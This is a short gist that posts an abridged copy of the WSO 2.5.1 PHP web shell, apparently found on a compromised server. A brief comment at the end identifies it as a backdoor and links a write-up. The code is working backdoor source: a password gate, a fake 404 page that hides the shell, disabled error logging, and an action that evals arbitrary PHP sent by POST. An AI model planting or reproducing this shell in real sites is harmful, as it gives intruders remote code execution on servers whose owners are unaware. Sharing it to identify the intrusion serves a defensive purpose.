some obusfcated php exploit, probably

gistfile1.php

$auth_pass = "2849c39abc268e58daf4ab7497e2bfa5";

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    header('HTTP/1.0 404 Not Found');
    die("404");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);
exit;

I am guessing this is an abridged version of the code which hit your server.

In essence, it's a backdoor. It allows the attacker to do stuff like remote code execution, bruteforcing of servers, provide server information, and more!

Looks like part of "WSO" https://www.wordfence.com/blog/2017/06/wso-shell/